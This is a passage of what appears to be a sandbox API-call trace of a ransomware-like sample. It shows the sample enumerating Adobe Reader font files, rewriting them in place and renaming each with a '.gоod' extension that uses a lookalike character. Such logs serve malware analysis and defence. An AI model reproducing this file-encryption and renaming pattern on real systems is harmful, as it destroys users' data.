ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0094.857] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0094.857] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.857] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0094.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0094.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0094.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font", lpFilePart=0x0) returned 0x3c [0094.858] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.859] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.859] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x169ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9848, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x99a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x93e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35404, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0094.860] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f764, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35610, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x183e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0094.861] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0094.862] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0094.862] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0094.862] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0094.862] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0094.862] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0094.862] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0094.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0094.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0094.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), fInfoLevelId=0x0, lpFileInformation=0x3633b10 | out: lpFileInformation=0x3633b10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x169ac)) returned 1 [0094.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0095.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.003] GetFileType (hFile=0x7c4) returned 0x1 [0095.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.003] GetFileType (hFile=0x7c4) returned 0x1 [0095.003] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0095.003] ReadFile (in: hFile=0x7c4, lpBuffer=0x34f2648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x34f2648*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0095.005] CloseHandle (hObject=0x7c4) returned 1 [0095.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0095.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.005] GetFileType (hFile=0x7c4) returned 0x1 [0095.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.005] GetFileType (hFile=0x7c4) returned 0x1 [0095.005] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x169ac [0095.005] WriteFile (in: hFile=0x7c4, lpBuffer=0x34f38e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x34f38e8*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0095.008] CloseHandle (hObject=0x7c4) returned 1 [0095.008] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0095.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.008] GetFileType (hFile=0x7c4) returned 0x1 [0095.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.009] GetFileType (hFile=0x7c4) returned 0x1 [0095.009] ReadFile (in: hFile=0x7c4, lpBuffer=0x34f5bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x34f5bb0*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0095.282] CloseHandle (hObject=0x7c4) returned 1 [0095.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0095.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.283] GetFileType (hFile=0x7c4) returned 0x1 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.283] GetFileType (hFile=0x7c4) returned 0x1 [0095.283] WriteFile (in: hFile=0x7c4, lpBuffer=0x348a7f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x348a7f0*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0095.283] CloseHandle (hObject=0x7c4) returned 1 [0095.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf", lpFilePart=0x0) returned 0x4b [0095.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf.gоod", lpFilePart=0x0) returned 0x50 [0095.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0095.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3500eeaf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x169bc)) returned 1 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0095.283] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\AdobePiStd.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\adobepistd.otf.gоod")) returned 1 [0095.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0095.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x3525710 | out: lpFileInformation=0x3525710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9294)) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0095.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.285] GetFileType (hFile=0x7c4) returned 0x1 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0095.285] GetFileType (hFile=0x7c4) returned 0x1 [0095.285] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0095.285] ReadFile (in: hFile=0x7c4, lpBuffer=0x3525b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3525b88*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0095.287] CloseHandle (hObject=0x7c4) returned 1 [0095.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf", lpFilePart=0x0) returned 0x50 [0095.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0095.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0095.287] GetFileType (hFile=0x7c4) returned 0x1 [0095.287] SetThreadErrorMode (dwNewMode=0x0, 